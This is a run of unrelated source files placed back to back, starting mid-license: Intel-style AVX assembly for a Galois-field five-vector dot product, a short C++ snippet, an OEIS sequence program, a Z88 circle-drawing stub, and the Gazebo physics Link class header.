FOR ; A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT ; OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, ; SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT ; LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, ; DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY ; THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT ; (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE ; OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;;; ;;; gf_5vect_dot_prod_avx(len, vec, *g_tbls, **buffs, **dests); ;;; %ifidn __OUTPUT_FORMAT__, elf64 %define arg0 rdi %define arg1 rsi %define arg2 rdx %define arg3 rcx %define arg4 r8 %define arg5 r9 %define tmp r11 %define tmp2 r10 %define tmp3 r13 ; must be saved and restored %define tmp4 r12 ; must be saved and restored %define tmp5 r14 ; must be saved and restored %define tmp6 r15 ; must be saved and restored %define return rax %define PS 8 %define LOG_PS 3 %define func(x) x: %macro FUNC_SAVE 0 push r12 push r13 push r14 push r15 %endmacro %macro FUNC_RESTORE 0 pop r15 pop r14 pop r13 pop r12 %endmacro %endif %ifidn __OUTPUT_FORMAT__, win64 %define arg0 rcx %define arg1 rdx %define arg2 r8 %define arg3 r9 %define arg4 r12 ; must be saved, loaded and restored %define arg5 r15 ; must be saved and restored %define tmp r11 %define tmp2 r10 %define tmp3 r13 ; must be saved and restored %define tmp4 r14 ; must be saved and restored %define tmp5 rdi ; must be saved and restored %define tmp6 rsi ; must be saved and restored %define return rax %define PS 8 %define LOG_PS 3 %define stack_size 10*16 + 7*8 ; must be an odd multiple of 8 %define arg(x) [rsp + stack_size + PS + PS*x] %define func(x) proc_frame x %macro FUNC_SAVE 0 alloc_stack stack_size save_xmm128 xmm6, 0*16 save_xmm128 xmm7, 1*16 save_xmm128 xmm8, 2*16 save_xmm128 xmm9, 3*16 save_xmm128 xmm10, 4*16 save_xmm128 xmm11, 5*16 save_xmm128 xmm12, 6*16 save_xmm128 xmm13, 7*16 save_xmm128 xmm14, 8*16 save_xmm128 xmm15, 9*16 save_reg r12, 10*16 + 0*8 save_reg r13, 10*16 + 1*8 save_reg r14, 10*16 + 2*8 save_reg r15, 10*16 + 3*8 save_reg rdi, 10*16 + 4*8 save_reg rsi, 10*16 + 5*8 end_prolog mov arg4, arg(4) %endmacro %macro FUNC_RESTORE 0 vmovdqa xmm6, [rsp + 0*16] vmovdqa xmm7, [rsp + 1*16] vmovdqa xmm8, [rsp + 2*16] vmovdqa xmm9, [rsp + 3*16] vmovdqa xmm10, [rsp + 4*16] vmovdqa xmm11, [rsp + 5*16] vmovdqa xmm12, [rsp + 6*16] vmovdqa xmm13, [rsp + 7*16] vmovdqa xmm14, [rsp + 8*16] vmovdqa xmm15, [rsp + 9*16] mov r12, [rsp + 10*16 + 0*8] mov r13, [rsp + 10*16 + 1*8] mov r14, [rsp + 10*16 + 2*8] mov r15, [rsp + 10*16 + 3*8] mov rdi, [rsp + 10*16 + 4*8] mov rsi, [rsp + 10*16 + 5*8] add rsp, stack_size %endmacro %endif %define len arg0 %define vec arg1 %define mul_array arg2 %define src arg3 %define dest arg4 %define ptr arg5 %define vec_i tmp2 %define dest1 tmp3 %define dest2 tmp4 %define vskip1 tmp5 %define vskip3 tmp6 %define pos return %ifndef EC_ALIGNED_ADDR ;;; Use Un-aligned load/store %define XLDR vmovdqu %define XSTR vmovdqu %else ;;; Use Non-temporal load/stor %ifdef NO_NT_LDST %define XLDR vmovdqa %define XSTR vmovdqa %else %define XLDR vmovntdqa %define XSTR vmovntdq %endif %endif default rel [bits 64] section .text %define xmask0f xmm15 %define xgft1_lo xmm14 %define xgft1_hi xmm13 %define xgft2_lo xmm12 %define xgft2_hi xmm11 %define xgft3_lo xmm10 %define xgft3_hi xmm9 %define xgft4_lo xmm8 %define xgft4_hi xmm7 %define x0 xmm0 %define xtmpa xmm1 %define xp1 xmm2 %define xp2 xmm3 %define xp3 xmm4 %define xp4 xmm5 %define xp5 xmm6 align 16 global gf_5vect_dot_prod_avx:function func(gf_5vect_dot_prod_avx) FUNC_SAVE sub len, 16 jl .return_fail xor pos, pos vmovdqa xmask0f, [mask0f] ;Load mask of lower nibble in each byte mov vskip1, vec imul vskip1, 32 mov vskip3, vec imul vskip3, 96 sal vec, LOG_PS ;vec *= PS. Make vec_i count by PS mov dest1, [dest] mov dest2, [dest+PS] .loop16: mov tmp, mul_array xor vec_i, vec_i vpxor xp1, xp1 vpxor xp2, xp2 vpxor xp3, xp3 vpxor xp4, xp4 vpxor xp5, xp5 .next_vect: mov ptr, [src+vec_i] add vec_i, PS XLDR x0, [ptr+pos] ;Get next source vector vmovdqu xgft1_lo, [tmp] ;Load array Ax{00}, Ax{01}, ..., Ax{0f} vmovdqu xgft1_hi, [tmp+16] ; " Ax{00}, Ax{10}, ..., Ax{f0} vmovdqu xgft2_lo, [tmp+vskip1*1] ;Load array Bx{00}, Bx{01}, ..., Bx{0f} vmovdqu xgft2_hi, [tmp+vskip1*1+16] ; " Bx{00}, Bx{10}, ..., Bx{f0} vmovdqu xgft3_lo, [tmp+vskip1*2] ;Load array Cx{00}, Cx{01}, ..., Cx{0f} vmovdqu xgft3_hi, [tmp+vskip1*2+16] ; " Cx{00}, Cx{10}, ..., Cx{f0} vmovdqu xgft4_lo, [tmp+vskip3] ;Load array Dx{00}, Dx{01}, ..., Dx{0f} vmovdqu xgft4_hi, [tmp+vskip3+16] ; " Dx{00}, Dx{10}, ..., Dx{f0} vpand xtmpa, x0, xmask0f ;Mask low src nibble in bits 4-0 vpsraw x0, x0, 4 ;Shift to put high nibble into bits 4-0 vpand x0, x0, xmask0f ;Mask high src nibble in bits 4-0 vpshufb xgft1_hi, x0 ;Lookup mul table of high nibble vpshufb xgft1_lo, xtmpa ;Lookup mul table of low nibble vpxor xgft1_hi, xgft1_lo ;GF add high and low partials vpxor xp1, xgft1_hi ;xp1 += partial vpshufb xgft2_hi, x0 ;Lookup mul table of high nibble vpshufb xgft2_lo, xtmpa ;Lookup mul table of low nibble vpxor xgft2_hi, xgft2_lo ;GF add high and low partials vpxor xp2, xgft2_hi ;xp2 += partial vmovdqu xgft1_lo, [tmp+vskip1*4] ;Load array Ex{00}, Ex{01}, ..., Ex{0f} vmovdqu xgft1_hi, [tmp+vskip1*4+16] ; " Ex{00}, Ex{10}, ..., Ex{f0} add tmp, 32 vpshufb xgft3_hi, x0 ;Lookup mul table of high nibble vpshufb xgft3_lo, xtmpa ;Lookup mul table of low nibble vpxor xgft3_hi, xgft3_lo ;GF add high and low partials vpxor xp3, xgft3_hi ;xp3 += partial vpshufb xgft4_hi, x0 ;Lookup mul table of high nibble vpshufb xgft4_lo, xtmpa ;Lookup mul table of low nibble vpxor xgft4_hi, xgft4_lo ;GF add high and low partials vpxor xp4, xgft4_hi ;xp4 += partial vpshufb xgft1_hi, x0 ;Lookup mul table of high nibble vpshufb xgft1_lo, xtmpa ;Lookup mul table of low nibble vpxor xgft1_hi, xgft1_lo ;GF add high and low partials vpxor xp5, xgft1_hi ;xp5 += partial cmp vec_i, vec jl .next_vect mov tmp, [dest+2*PS] mov ptr, [dest+3*PS] mov vec_i, [dest+4*PS] XSTR [dest1+pos], xp1 XSTR [dest2+pos], xp2 XSTR [tmp+pos], xp3 XSTR [ptr+pos], xp4 XSTR [vec_i+pos], xp5 add pos, 16 ;Loop on 16 bytes at a time cmp pos, len jle .loop16 lea tmp, [len + 16] cmp pos, tmp je .return_pass ;; Tail len mov pos, len ;Overlapped offset length-16 jmp .loop16 ;Do one more overlap pass .return_pass: FUNC_RESTORE mov return, 0 ret .return_fail: FUNC_RESTORE mov return, 1 ret endproc_frame section .data align 16 mask0f: ddq 0x0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f %macro slversion 4 global %1_slver_%2%3%4 global %1_slver %1_slver: %1_slver_%2%3%4: dw 0x%4 db 0x%3, 0x%2 %endmacro ;;; func core, ver, snum slversion gf_5vect_dot_prod_avx, 02, 03, 0194
typedef double scalar; class X { public: X(scalar a); bool operator==(const X& other); }; void f() { X a(1.0); if(a == 1.0) {} if(a == 2*2) {} } int main() { return 1; }
; A339570: Denote the van der Corput sequence of fractions 1/2, 1/4, 3/4, 1/8, 5/8, 3/8, 7/8, 1/16, ... (A030101/A062383) by v(n), n >= 1. Then a(n) = denominator of v(A014486(n)). ; 4,16,16,64,64,64,64,64,256,256,256,256,256,256,256,256,256,256,256,256,256,256,1024,1024,1024,1024,1024,1024,1024,1024,1024,1024,1024,1024,1024,1024,1024,1024,1024,1024,1024,1024,1024,1024,1024,1024,1024,1024,1024 mov $1,1 lpb $0,1 mul $0,3 div $0,8 mul $1,4 lpe div $1,3 mul $1,12 add $1,4
; ; Z88 Graphics Functions - Small C+ stubs ; ; Written around the Interlogic Standard Library ; ; Stubs Written by D Morris - 30/9/98 ; ; ; $Id: circle.asm,v 1.6 2016-04-13 21:09:09 dom Exp $ ; ;Usage: circle(struct *pixels) SECTION code_clib PUBLIC circle PUBLIC _circle EXTERN draw_circle EXTERN plotpixel EXTERN swapgfxbk EXTERN __graphics_end .circle ._circle push ix ld ix,2 add ix,sp ld e,(ix+2) ;skip ld d,(ix+4) ;radius ld c,(ix+6) ;y ld b,(ix+8) ;x ld ix,plotpixel call swapgfxbk call draw_circle jp __graphics_end
/* * Copyright (C) 2012-2016 Open Source Robotics Foundation * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. * */ /* Desc: Link class * Author: Nate Koenig */ #ifndef _LINK_HH_ #define _LINK_HH_ #ifdef _WIN32 // Ensure that Winsock2.h is included before Windows.h, which can get // pulled in by anybody (e.g., Boost). #include <Winsock2.h> #endif #include <map> #include <vector> #include <string> #include "gazebo/msgs/msgs.hh" #include "gazebo/transport/TransportTypes.hh" #include "gazebo/util/UtilTypes.hh" #include "gazebo/common/Event.hh" #include "gazebo/common/CommonTypes.hh" #include "gazebo/physics/LinkState.hh" #include "gazebo/physics/Entity.hh" #include "gazebo/physics/Inertial.hh" #include "gazebo/physics/Joint.hh" #include "gazebo/util/system.hh" namespace gazebo { namespace util { class OpenALSource; class OpenALSink; } namespace physics { class Model; class Collision; class Battery; /// \addtogroup gazebo_physics /// \{ /// \class Link Link.hh physics/physics.hh /// \brief Link class defines a rigid body entity, containing /// information on inertia, visual and collision properties of /// a rigid body. class GZ_PHYSICS_VISIBLE Link : public Entity { /// \brief Constructor /// \param[in] _parent Parent of this link. public: explicit Link(EntityPtr _parent); /// \brief Destructor. public: virtual ~Link(); /// \brief Load the body based on an SDF element. /// \param[in] _sdf SDF parameters. public: virtual void Load(sdf::ElementPtr _sdf); /// \brief Initialize the body. public: virtual void Init(); /// \brief Finalize the body. public: void Fini(); /// \brief Reset the link. public: void Reset(); /// \brief Reset the velocity, acceleration, force and torque of link. public: void ResetPhysicsStates(); /// \brief Update the parameters using new sdf values. /// \param[in] _sdf SDF values to load from. public: virtual void UpdateParameters(sdf::ElementPtr _sdf); /// \brief Update the collision. /// \param[in] _info Update information. public: void Update(const common::UpdateInfo &_info); using Base::Update; /// \brief Set the scale of the link. /// \param[in] _scale Scale to set the link to. public: void SetScale(const math::Vector3 &_scale); /// \brief Set whether this body is enabled. /// \param[in] _enable True to enable the link in the physics engine. public: virtual void SetEnabled(bool _enable) const = 0; /// \brief Get whether this body is enabled in the physics engine. /// \return True if the link is enabled. public: virtual bool GetEnabled() const = 0; /// \brief Set whether this entity has been selected by the user /// through the gui /// \param[in] _set True to set the link as selected. public: virtual bool SetSelected(bool _set); /// \brief Set whether gravity affects this body. /// \param[in] _mode True to enable gravity. public: virtual void SetGravityMode(bool _mode) = 0; /// \brief Get the gravity mode. /// \return True if gravity is enabled. public: virtual bool GetGravityMode() const = 0; /// \brief Set whether this body will collide with others in the /// model. /// \sa GetSelfCollide /// \param[in] _collide True to enable collisions. public: virtual void SetSelfCollide(bool _collide) = 0; /// \brief Set the collide mode of the body. /// \param[in] _mode Collision Mode, /// this can be: [all|none|sensors|fixed|ghost] /// all: collides with everything /// none: collides with nothing /// sensors: collides with everything else but other sensors /// fixed: collides with everything else but other fixed /// ghost: collides with everything else but other ghost public: void SetCollideMode(const std::string &_mode); /// \brief Get Self-Collision Flag. /// Two links within the same model will not collide if both have /// self_collide == false. \n /// link 1 and link2 collide = link1.self_collide || link2.self_collide /// Bodies connected by a joint are exempt from this, and will /// never collide. /// \return True if self collision is enabled. public: bool GetSelfCollide() const; /// \brief Set the laser retro reflectiveness. /// \param[in] _retro Retro value for all child collisions. public: void SetLaserRetro(float _retro); /// \brief Set the linear velocity of the body. /// \param[in] _vel Linear velocity. public: virtual void SetLinearVel(const math::Vector3 &_vel) = 0; /// \brief Set the angular velocity of the body. /// \param[in] _vel Angular velocity. public: virtual void SetAngularVel(const math::Vector3 &_vel) = 0; /// \brief Set the linear acceleration of the body. /// \param[in] _accel Linear acceleration. public: void SetLinearAccel(const math::Vector3 &_accel); /// \brief Set the angular acceleration of the body. /// \param[in] _accel Angular acceleration. public: void SetAngularAccel(const math::Vector3 &_accel); /// \brief Set the force applied to the body. /// \param[in] _force Force value. public: virtual void SetForce(const math::Vector3 &_force) = 0; /// \brief Set the torque applied to the body. /// \param[in] _torque Torque value. public: virtual void SetTorque(const math::Vector3 &_torque) = 0; /// \brief Add a force to the body. /// \param[in] _force Force to add. public: virtual void AddForce(const math::Vector3 &_force) = 0; /// \brief Add a force to the body, components are relative to the /// body's own frame of reference. /// \param[in] _force Force to add. public: virtual void AddRelativeForce(const math::Vector3 &_force) = 0; /// \brief Add a force to the body using a global position. /// \param[in] _force Force to add. /// \param[in] _pos Position in global coord frame to add the force. public: virtual void AddForceAtWorldPosition(const math::Vector3 &_force, const math::Vector3 &_pos) = 0; /// \brief Add a force to the body at position expressed to the body's /// own frame of reference. /// \param[in] _force Force to add. /// \param[in] _relPos Position on the link to add the force. public: virtual void AddForceAtRelativePosition( const math::Vector3 &_force, const math::Vector3 &_relPos) = 0; /// \brief Add a force expressed in the link frame. /// \param[in] _force Direction vector expressed in the link frame. Each /// component corresponds to the force which will be added in that axis /// and the vector's magnitude corresponds to the total force. /// \param[in] _offset Offset position expressed in the link frame. It /// defaults to the link origin. public: virtual void AddLinkForce(const math::Vector3 &_force, const math::Vector3 &_offset = math::Vector3::Zero) = 0; /// \brief Add a torque to the body. /// \param[in] _torque Torque value to add to the link. public: virtual void AddTorque(const math::Vector3 &_torque) = 0; /// \brief Add a torque to the body, components are relative to the /// body's own frame of reference. /// \param[in] _torque Torque value to add. public: virtual void AddRelativeTorque(const math::Vector3 &_torque) = 0; /// \brief Get the pose of the body's center of gravity in the world /// coordinate frame. /// \return Pose of the body's center of gravity in the world coordinate /// frame. public: math::Pose GetWorldCoGPose() const; /// \brief Get the linear velocity of the origin of the link frame, /// expressed in the world frame. /// \return Linear velocity of the link frame. public: virtual math::Vector3 GetWorldLinearVel() const {return this->GetWorldLinearVel(math::Vector3::Zero);} /// \brief Get the linear velocity of a point on the body in the world /// frame, using an offset expressed in a body-fixed frame. If /// no offset is given, the velocity at the origin of the Link /// frame will be returned. /// \param[in] _offset Offset of the point from the origin of the Link /// frame, expressed in the body-fixed frame. /// \return Linear velocity of the point on the body public: virtual math::Vector3 GetWorldLinearVel( const math::Vector3 &_offset) const = 0; /// \brief Get the linear velocity of a point on the body in the world /// frame, using an offset expressed in an arbitrary frame. /// \param[in] _offset Offset from the origin of the link frame expressed /// in a frame defined by _q. /// \param[in] _q Describes the rotation of a reference frame relative to /// the world reference frame. /// \return Linear velocity of the point on the body in the world frame. public: virtual math::Vector3 GetWorldLinearVel( const math::Vector3 &_offset, const math::Quaternion &_q) const = 0; /// \brief Get the linear velocity at the body's center of gravity in the /// world frame. /// \return Linear velocity at the body's center of gravity in the world /// frame. public: virtual math::Vector3 GetWorldCoGLinearVel() const = 0; /// \brief Get the linear velocity of the body. /// \return Linear velocity of the body. public: math::Vector3 GetRelativeLinearVel() const; /// \brief Get the angular velocity of the body. /// \return Angular velocity of the body. public: math::Vector3 GetRelativeAngularVel() const; /// \brief Get the linear acceleration of the body. /// \return Linear acceleration of the body. public: math::Vector3 GetRelativeLinearAccel() const; /// \brief Get the linear acceleration of the body in the world frame. /// \return Linear acceleration of the body in the world frame. public: math::Vector3 GetWorldLinearAccel() const; /// \brief Get the angular acceleration of the body. /// \return Angular acceleration of the body. public: math::Vector3 GetRelativeAngularAccel() const; /// \brief Get the angular momentum of the body CoG in the world frame, /// which is computed as (I * w), where /// I: inertia matrix in world frame /// w: angular velocity in world frame /// \return Angular momentum of the body. public: math::Vector3 GetWorldAngularMomentum() const; /// \brief Get the angular acceleration of the body in the world frame, /// which is computed as (I^-1 * (T - w x L)), where /// I: inertia matrix in world frame /// T: sum of external torques in world frame /// L: angular momentum of CoG in world frame /// w: angular velocity in world frame /// \return Angular acceleration of the body in the world frame. public: math::Vector3 GetWorldAngularAccel() const; /// \brief Get the force applied to the body. /// \return Force applied to the body. public: math::Vector3 GetRelativeForce() const; /// \brief Get the force applied to the body in the world frame. /// \return Force applied to the body in the world frame. public: virtual math::Vector3 GetWorldForce() const = 0; /// \brief Get the torque applied to the body. /// \return Torque applied to the body. public: math::Vector3 GetRelativeTorque() const; /// \brief Get the torque applied to the body in the world frame. /// \return Torque applied to the body in the world frame. public: virtual math::Vector3 GetWorldTorque() const = 0; /// \brief Get the model that this body belongs to. /// \return Model that this body belongs to. public: ModelPtr GetModel() const; /// \brief Get the inertia of the link. /// \return Inertia of the link. public: InertialPtr GetInertial() const {return this->inertial;} /// \brief Set the mass of the link. /// \parma[in] _inertial Inertial value for the link. public: void SetInertial(const InertialPtr &_inertial); /// \brief Get the world pose of the link inertia (cog position /// and Moment of Inertia frame). This differs from GetWorldCoGPose(), /// which returns the cog position in the link frame /// (not the Moment of Inertia frame). /// \return Inertial pose in world frame. public: math::Pose GetWorldInertialPose() const; /// \brief Get the inertia matrix in the world frame. /// \return Inertia matrix in world frame, returns matrix /// of zeros if link has no inertia. public: math::Matrix3 GetWorldInertiaMatrix() const; /// \cond /// This is an internal function /// \brief Get a collision by id. /// \param[in] _id Id of the collision object to find. /// \return Pointer to the collision, NULL if the id is invalid. public: CollisionPtr GetCollisionById(unsigned int _id) const; /// \endcond /// \brief Get a child collision by name /// \param[in] _name Name of the collision object. /// \return Pointer to the collision, NULL if the name was not found. public: CollisionPtr GetCollision(const std::string &_name); /// \brief Get a child collision by index /// \param[in] _index Index of the collision object. /// \return Pointer to the collision, NULL if the name was not found. public: CollisionPtr GetCollision(unsigned int _index) const; /// \brief Get all the child collisions. /// \return A std::vector of all the child collisions. public: Collision_V GetCollisions() const; /// \brief Get the bounding box for the link and all the child /// elements. /// \return The link's bounding box. public: virtual math::Box GetBoundingBox() const; /// \brief Set the linear damping factor. /// \param[in] _damping Linear damping factor. public: virtual void SetLinearDamping(double _damping) = 0; /// \brief Set the angular damping factor. /// \param[in] _damping Angular damping factor. public: virtual void SetAngularDamping(double _damping) = 0; /// \brief Get the linear damping factor. /// \return Linear damping. public: double GetLinearDamping() const; /// \brief Get the angular damping factor. /// \return Angular damping. public: double GetAngularDamping() const; /// \TODO Implement this function. /// \brief Set whether this body is in the kinematic state. /// \param[in] _kinematic True to make the link kinematic only. public: virtual void SetKinematic(const bool &_kinematic); /// \TODO Implement this function. /// \brief Get whether this body is in the kinematic state. /// \return True if the link is kinematic only. public: virtual bool GetKinematic() const {return false;} /// \brief Get sensor count /// /// This will return the number of sensors created by the link when it /// was loaded. This function is commonly used with /// Link::GetSensorName. /// \return The number of sensors created by the link. public: unsigned int GetSensorCount() const; /// \brief Get sensor name /// /// Get the name of a sensor based on an index. The index should be in /// the range of 0...Link::GetSensorCount(). /// \note A Link does not manage or maintain a pointer to a /// sensors::Sensor. Access to a Sensor object /// is accomplished through the sensors::SensorManager. This was done to /// separate the physics engine from the sensor engine. /// \param[in] _index Index of the sensor name. /// \return The name of the sensor, or empty string if the index is out of /// bounds. public: std::string GetSensorName(unsigned int _index) const; /// \brief Connect to the add entity signal /// \param[in] _subscriber Subsciber callback function. /// \return Pointer to the connection, which must be kept in scope. public: template<typename T> event::ConnectionPtr ConnectEnabled(T _subscriber) {return enabledSignal.Connect(_subscriber);} /// \brief Disconnect to the add entity signal. /// \param[in] _conn Connection pointer to disconnect. public: void DisconnectEnabled(event::ConnectionPtr &_conn) {enabledSignal.Disconnect(_conn);} /// \brief Fill a link message /// \param[out] _msg Message to fill public: void FillMsg(msgs::Link &_msg); /// \brief Update parameters from a message /// \param[in] _msg Message to read. public: void ProcessMsg(const msgs::Link &_msg); /// \brief Joints that have this Link as a parent Link. /// \param[in] _joint Joint that is a child of this link. public: void AddChildJoint(JointPtr _joint); /// \brief Joints that have this Link as a child Link. /// \param[in] _joint Joint that is a parent of this link. public: void AddParentJoint(JointPtr _joint); /// \brief Remove Joints that have this Link as a child Link. /// \param[in] _jointName Parent Joint name. public: void RemoveParentJoint(const std::string &_jointName); /// \brief Remove Joints that have this Link as a parent Link /// \param[in] _jointName Child Joint name. public: void RemoveChildJoint(const std::string &_jointName); // Documentation inherited. public: virtual void RemoveChild(EntityPtr _child); using Base::RemoveChild; /// \brief Attach a static model to this link /// \param[in] _model Pointer to a static model. /// \param[in] _offset Pose relative to this link to place the model. public: void AttachStaticModel(ModelPtr &_model, const math::Pose &_offset); /// \brief Detach a static model from this link. /// \param[in] _modelName Name of an attached model to detach. public: void DetachStaticModel(const std::string &_modelName); /// \brief Detach all static models from this link. public: void DetachAllStaticModels(); /// \internal /// \brief Called when the pose is changed. Do not call this directly. public: virtual void OnPoseChange(); /// \brief Set the current link state. /// \param[in] _state The state to set the link to. public: void SetState(const LinkState &_state); /// \brief Update the mass matrix. public: virtual void UpdateMass() {} /// \brief Update surface parameters. public: virtual void UpdateSurface() {} /// \brief Allow the link to auto disable. /// \param[in] _disable If true, the link is allowed to auto disable. public: virtual void SetAutoDisable(bool _disable) = 0; /// \brief Returns a vector of children Links connected by joints. /// \return A vector of children Links connected by joints. public: Link_V GetChildJointsLinks() const; /// \brief Returns a vector of parent Links connected by joints. /// \return Vector of parent Links connected by joints. public: Link_V GetParentJointsLinks() const; /// \brief Enable/Disable link data publishing /// \param[in] _enable True to enable publishing, false to stop publishing public: void SetPublishData(bool _enable); /// \brief Get the parent joints. public: Joint_V GetParentJoints() const; /// \brief Get the child joints. public: Joint_V GetChildJoints() const; /// \brief Remove a collision from the link. /// \param[int] _name Name of the collision to remove. public: void RemoveCollision(const std::string &_name); /// \brief Returns this link's potential energy, /// based on position in world frame and gravity. /// \return this link's potential energy, public: double GetWorldEnergyPotential() const; /// \brief Returns this link's kinetic energy /// computed using link's CoG velocity in the inertial (world) frame. /// \return this link's kinetic energy public: double GetWorldEnergyKinetic() const; /// \brief Returns this link's total energy, or /// sum of Link::GetWorldEnergyPotential() and /// Link::GetWorldEnergyKinetic(). /// \return this link's total energy public: double GetWorldEnergy() const; /// \brief Returns the visual message specified by its name /// \param[in] name of the visual message /// \return visual message public: msgs::Visual GetVisualMessage(const std::string &_name) const; /// \brief Freeze link to ground (inertial frame). /// \param[in] _static if true, freeze link to ground. Otherwise /// unfreeze link. public: virtual void SetLinkStatic(bool _static) = 0; /// \brief Move Link given source and target frames specified in /// world coordinates. Assuming link's relative pose to /// source frame (_worldReferenceFrameSrc) remains unchanged relative /// to destination frame (_worldReferenceFrameDst). /// \param[in] _worldReferenceFrameSrc initial reference frame to /// which this link is attached. /// \param[in] _worldReferenceFrameDst final location of the /// reference frame specified in world coordinates. public: void MoveFrame(const math::Pose &_worldReferenceFrameSrc, const math::Pose &_worldReferenceFrameDst); /// \brief Helper function to find all connected links of a link /// based on parent/child relations of joints. For example, /// if Link0 --> Link1 --> ... --> LinkN is a kinematic chain /// with Link0 being the base link. Then, call by Link1: /// Link1->FindAllConnectedLinksHelper(Link0, _list, true); /// should return true with _list containing Link1 through LinkN. /// In the case the _originalParentLink is part of a loop, /// _connectedLinks is cleared and the function returns false. /// \param[in] _originParentLink if this link is a child link of /// the search, we've found a loop. /// \param[in/out] _connectedLinks aggregate list of connected links. /// \param[in] _fistLink this is the first Link, skip over the parent /// link that matches the _originalParentLink. /// \return true if successfully found a subset of connected links public: bool FindAllConnectedLinksHelper( const LinkPtr &_originalParentLink, Link_V &_connectedLinks, bool _fistLink = false); /// \brief Get a battery by name. /// \param[in] _name Name of the battery to get. /// \return Pointer to the battery, NULL if the name is invalid. public: common::BatteryPtr Battery(const std::string &_name) const; /// \brief Get a battery based on an index. /// \return A pointer to a Battery. Null if the _index is invalid. public: common::BatteryPtr Battery(const size_t _index) const; /// \brief Get the number of batteries in this link. /// \return Size of this->batteries array. /// \sa Link::Battery() public: size_t BatteryCount() const; /// \brief Get the unique ID of a visual. /// \param[in] _visName Name of the visual. /// \param[out] _visualId The unique ID of the visual. /// \return True if getting the unique ID of the visual was successful. public: bool VisualId(const std::string &_visName, uint32_t &_visualId) const; /// \brief Get the pose of a visual. /// \param[in] _id Unique ID of visual. /// \param[out] _pose Pose of the visual relative to this link. /// \return True if getting the pose of the visual was successful. public: bool VisualPose(const uint32_t _id, ignition::math::Pose3d &_pose) const; /// \brief Set the pose of a visual. /// \param[in] _id Unique ID of visual message. /// \param[in] _pose Pose relative to this link to place the visual. /// \return True if setting the pose of the visual was successful. public: bool SetVisualPose(const uint32_t _id, const ignition::math::Pose3d &_pose); /// \brief Publish timestamped link data such as velocity. private: void PublishData(); /// \brief Load a new collision helper function. /// \param[in] _sdf SDF element used to load the collision. private: void LoadCollision(sdf::ElementPtr _sdf); /// \brief Set the inertial properties based on the collision /// entities. private: void SetInertialFromCollisions(); /// \brief On collision callback. /// \param[in] _msg Message that contains contact information. private: void OnCollision(ConstContactsPtr &_msg); /// \brief Parse visuals from SDF private: void ParseVisuals(); /// \brief Helper function to see if _value is contained in _vector. /// \param[in] _vector a vector of boost link pointers. /// \param[in] _value a particular link pointer. /// \return true if value is in vector. private: bool ContainsLink(const Link_V &_vector, const LinkPtr &_value); /// \brief Update visual SDF's geometry size with the new scale. /// \param[in] _scale New scale applied to the visual private: void UpdateVisualGeomSDF(const math::Vector3 &_scale); /// \brief Update visual msgs. private: void UpdateVisualMsg(); /// \brief Called when a new wrench message arrives. The wrench's force, /// torque and force offset are described in the link frame, /// \param[in] _msg The wrench message. private: void OnWrenchMsg(ConstWrenchPtr &_msg); /// \brief Process the message and add force and torque. /// \param[in] _msg The message to set the wrench from. private: void ProcessWrenchMsg(const msgs::Wrench &_msg); /// \brief Load a battery. /// \param[in] _sdf SDF parameter. private: void LoadBattery(const sdf::ElementPtr _sdf); /// \brief Inertial properties. protected: InertialPtr inertial; /// \brief Center of gravity visual elements. protected: std::vector<std::string> cgVisuals; /// \def Visuals_M /// \brief Map of unique ID to visual message. typedef std::map<uint32_t, msgs::Visual> Visuals_M; /// \brief Link visual elements. protected: Visuals_M visuals; /// \brief Linear acceleration. protected: math::Vector3 linearAccel; /// \brief Angular acceleration. protected: math::Vector3 angularAccel; /// \brief Offsets for the attached models. protected: std::vector<math::Pose> attachedModelsOffset; /// \brief This flag is set to true when the link is initialized. protected: bool initialized; /// \brief Event used when the link is enabled or disabled. private: event::EventT<void (bool)> enabledSignal; /// \brief This flag is used to trigger the enabled private: bool enabled; /// \brief Names of all the sensors attached to the link. private: std::vector<std::string> sensors; /// \brief All the parent joints. private: std::vector<JointPtr> parentJoints; /// \brief All the child joints. private: std::vector<JointPtr> childJoints; /// \brief All the attached models. private: std::vector<ModelPtr> attachedModels; /// \brief Link data publisher private: transport::PublisherPtr dataPub; /// \brief Link data message private: msgs::LinkData linkDataMsg; /// \brief True to publish data, false otherwise private: bool publishData; /// \brief Mutex to protect the publishData variable private: boost::recursive_mutex *publishDataMutex; /// \brief Cached list of collisions. This is here for performance. private: Collision_V collisions; /// \brief Wrench subscriber. private: transport::SubscriberPtr wrenchSub; /// \brief Vector of wrench messages to be processed. private: std::vector<msgs::Wrench> wrenchMsgs; /// \brief Mutex to protect the wrenchMsgs variable. private: boost::mutex wrenchMsgMutex; /// \brief All the attached batteries. private: std::vector<common::BatteryPtr> batteries; #ifdef HAVE_OPENAL /// \brief All the audio sources private: std::vector<util::OpenALSourcePtr> audioSources; /// \brief An audio sink private: util::OpenALSinkPtr audioSink; /// \brief Subscriber to contacts with this collision. Used for audio /// playback. private: transport::SubscriberPtr audioContactsSub; #endif }; /// \} } } #endif
